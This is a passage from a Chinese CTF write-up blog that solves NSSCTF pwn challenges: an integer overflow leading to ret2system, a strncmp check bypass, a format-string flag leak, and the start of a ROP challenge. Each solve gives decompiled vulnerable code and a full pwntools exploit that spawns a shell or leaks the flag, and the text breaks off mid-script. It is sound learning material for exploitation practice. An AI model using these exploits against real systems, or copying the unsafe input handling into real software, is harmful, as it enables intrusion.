Overflow"></a>[SWPUCTF 2022 新生赛]Integer Overflow</h3><p>检查安全机制</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">n1ght@DESKTOP-ISKQ7KA [13:50:34] [~/pwn/nss/SWPUCTF_2022_新生赛_Integer_Overflow] </span><br><span class="line">-&gt; % checksec pwn</span><br><span class="line">[*] <span class="string">&#x27;/home/n1ght/pwn/nss/SWPUCTF_2022_\xe6\x96\xb0\xe7\x94\x9f\xe8\xb5\x9b_Integer_Overflow/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">overflow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [esp+Ch] [ebp-Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.yes&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.no&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Tell me your choice:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">if</span> ( v1 != <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v1 == <span class="number">2</span> )</span><br><span class="line">      choice2();</span><br><span class="line">    elsechoice();</span><br><span class="line">  &#125;</span><br><span class="line">  choice1();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">choice1</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">20</span>]; <span class="comment">// [esp+8h] [ebp-20h] BYREF</span></span><br><span class="line">  <span class="type">size_t</span> nbytes[<span class="number">2</span>]; <span class="comment">// [esp+1Ch] [ebp-Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\x1B[36m Good luck!!!\n\x1B[0m&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\x1B[5m Tell me your name now!\n\x1B[0m&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;First input the length of your name:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%u&quot;</span>, nbytes);</span><br><span class="line">  <span class="keyword">if</span> ( (<span class="type">int</span>)nbytes[<span class="number">0</span>] &gt; <span class="number">10</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\x1B[31m Are u kidding??\n\x1B[0m&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\x1B[36m What&#x27;s u name?\n\x1B[0m&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, nbytes[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现输入无符号整数，比较适合是int有符号整数，所以存在整数溢出</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;i386&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">26538</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">sl(<span class="string">&quot;-1&quot;</span>)</span><br><span class="line">offset = <span class="number">0x20</span> + <span class="number">4</span></span><br><span class="line"></span><br><span class="line">payload = flat([cyclic(offset)],elf.sym[<span class="string">&#x27;system&#x27;</span>],<span class="number">0xdeaf</span>,<span class="built_in">next</span>(elf.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)))</span><br><span class="line"></span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="HNCTF-2022-Week1-ezcmp"><a href="#HNCTF-2022-Week1-ezcmp" class="headerlink" title="[HNCTF 2022 Week1]ezcmp"></a>[HNCTF 2022 Week1]ezcmp</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">32</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line">  <span class="type">char</span> src[<span class="number">44</span>]; <span class="comment">// [rsp+20h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> seed; <span class="comment">// [rsp+4Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;GDB-pwndbg maybe useful&quot;</span>);</span><br><span class="line">  <span class="built_in">strcpy</span>(src, <span class="string">&quot;Ayaka_nbbbbbbbbbbbbbbbbb_pluss&quot;</span>);</span><br><span class="line">  <span class="built_in">strcpy</span>(buff, src);</span><br><span class="line">  seed = <span class="number">1</span>;</span><br><span class="line">  srand(<span class="number">1u</span>);</span><br><span class="line">  enccrypt(buff);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x1E</span>uLL);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">strncmp</span>(buff, buf, <span class="number">0x1E</span>uLL) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Oh No!You lose!!!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">from <span class="keyword">struct</span> import pack</span><br><span class="line">from ctypes import *</span><br><span class="line">from LibcSearcher import *</span><br><span class="line">from pwn import *</span><br><span class="line">def <span class="title function_">s</span><span class="params">(a)</span> : p.<span class="title function_">send</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">sa</span><span class="params">(a, b)</span> : p.<span class="title function_">sendafter</span><span class="params">(a, b)</span></span><br><span class="line">def <span class="title function_">sl</span><span class="params">(a)</span> : p.<span class="title function_">sendline</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">sla</span><span class="params">(a, b)</span> : p.<span class="title function_">sendlineafter</span><span class="params">(a, b)</span></span><br><span class="line">def <span class="title function_">r</span><span class="params">()</span> : <span class="keyword">return</span> p.<span class="title function_">recv</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">pr</span><span class="params">()</span> : <span class="title function_">print</span><span class="params">(p.recv())</span></span><br><span class="line">def <span class="title function_">rl</span><span class="params">(a)</span> : <span class="keyword">return</span> p.<span class="title function_">recvuntil</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">inter</span><span class="params">()</span> : p.<span class="title function_">interactive</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">debug</span><span class="params">()</span>:</span><br><span class="line">    gdb.<span class="title function_">attach</span><span class="params">(p)</span></span><br><span class="line">    <span class="title function_">pause</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">get_addr</span><span class="params">()</span> : <span class="keyword">return</span> <span class="title function_">u64</span><span class="params">(p.recvuntil(b<span class="string">&#x27;\x7f&#x27;</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, b<span class="string">&#x27;\x00&#x27;</span>))</span></span><br><span class="line"><span class="meta"># def get_sb() : return libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>], libc_base + next(libc.search(b<span class="string">&#x27;/bin/sh\x00&#x27;</span>))</span></span><br><span class="line">def <span class="title function_">csu</span><span class="params">(rdi, rsi, rdx, rip, gadget)</span> : <span class="keyword">return</span> <span class="title function_">p64</span><span class="params">(gadget)</span> + <span class="title function_">p64</span><span class="params">(<span class="number">0</span>)</span> + <span class="title function_">p64</span><span class="params">(<span class="number">1</span>)</span> + <span class="title function_">p64</span><span class="params">(rip)</span> + <span class="title function_">p64</span><span class="params">(rdi)</span> + <span class="title function_">p64</span><span class="params">(rsi)</span> + <span class="title function_">p64</span><span class="params">(rdx)</span> + <span class="title function_">p64</span><span class="params">(gadget - <span class="number">0x1a</span>)</span></span><br><span class="line">def <span class="title function_">get_32_addr</span><span class="params">()</span>:<span class="keyword">return</span> <span class="title function_">u32</span><span class="params">(p.recvuntil(b<span class="string">&#x27;\xf7&#x27;</span>)[<span class="number">-4</span>:].ljust(<span class="number">4</span>, b<span class="string">&#x27;\x00&#x27;</span>))</span></span><br><span class="line"><span class="title function_">context</span><span class="params">(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span></span><br><span class="line"><span class="keyword">if</span> args[&#x27;DEBUG&#x27;]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">port = <span class="number">1111</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.format(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="meta">#libc = ELF(<span class="string">&#x27;./libc-2.23-x64.so&#x27;</span>)</span></span><br><span class="line"><span class="meta"># gdb.attach(p,<span class="string">&quot;b *0x00000000040147A&quot;</span>)</span></span><br><span class="line">sl(flat([p64(<span class="number">0x144678aadc0e4072</span>),p64(<span class="number">0x84b6e81a4c7eb0e2</span>),p64(<span class="number">0xf426588abcee2052</span>),p64(<span class="number">0x0000c8cb2c5e90c2</span>)]))</span><br><span class="line"><span class="meta"># pause()</span></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HUBUCTF-2022-新生赛-fmt"><a href="#HUBUCTF-2022-新生赛-fmt" class="headerlink" title="[HUBUCTF 2022 新生赛]fmt"></a>[HUBUCTF 2022 新生赛]fmt</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+8h] [rbp-68h]</span></span><br><span class="line">  <span class="type">char</span> format[<span class="number">32</span>]; <span class="comment">// [rsp+10h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">8</span>]; <span class="comment">// [rsp+30h] [rbp-40h] BYREF</span></span><br><span class="line">  __int64 v6; <span class="comment">// [rsp+38h] [rbp-38h]</span></span><br><span class="line">  __int64 v7; <span class="comment">// [rsp+40h] [rbp-30h]</span></span><br><span class="line">  __int64 v8; <span class="comment">// [rsp+48h] [rbp-28h]</span></span><br><span class="line">  __int64 v9; <span class="comment">// [rsp+50h] [rbp-20h]</span></span><br><span class="line">  __int64 v10; <span class="comment">// [rsp+58h] [rbp-18h]</span></span><br><span class="line">  __int16 v11; <span class="comment">// [rsp+60h] [rbp-10h]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v12; <span class="comment">// [rsp+68h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v12 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  *(_QWORD *)s = <span class="number">0LL</span>;</span><br><span class="line">  v6 = <span class="number">0LL</span>;</span><br><span class="line">  v7 = <span class="number">0LL</span>;</span><br><span class="line">  v8 = <span class="number">0LL</span>;</span><br><span class="line">  v9 = <span class="number">0LL</span>;</span><br><span class="line">  v10 = <span class="number">0LL</span>;</span><br><span class="line">  v11 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( stream )</span><br><span class="line">    fgets(s, <span class="number">50</span>, stream);</span><br><span class="line">  HIBYTE(v11) = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Echo as a service&quot;</span>);</span><br><span class="line">    gets(format);</span><br><span class="line">    <span class="built_in">printf</span>(format);</span><br><span class="line">    <span class="built_in">putchar</span>(<span class="number">10</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">23522</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment"># libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">r()</span><br><span class="line">sl(<span class="string">&quot;%12$p%13$p%14$p%15$p%16$p%17$p&quot;</span>)</span><br><span class="line"></span><br><span class="line">s = p.recvuntil(<span class="string">&quot;\n&quot;</span>,drop=<span class="literal">True</span>).decode(<span class="string">&#x27;utf-8&#x27;</span>).split(<span class="string">&quot;0x&quot;</span>)</span><br><span class="line"><span class="keyword">for</span> <span class="built_in">str</span> <span class="keyword">in</span> s:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(<span class="built_in">str</span>) -<span class="number">2</span>,-<span class="number">1</span>,-<span class="number">2</span>):</span><br><span class="line">        byte = <span class="built_in">str</span>[i:i+<span class="number">2</span>]</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(<span class="built_in">int</span>(byte,<span class="number">16</span>)),end=<span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="HNCTF-2022-Week1-ezr0p64"><a href="#HNCTF-2022-Week1-ezr0p64" class="headerlink" title="[HNCTF 2022 Week1]ezr0p64"></a>[HNCTF 2022 Week1]ezr0p64</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">256</span>]; <span class="comment">// [rsp+0h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Gift :%p\n&quot;</span>, &amp;<span class="built_in">puts</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Start your rop.&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现给了一个puts的地址，可以算出system和bin_sh的值，然后rop即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> 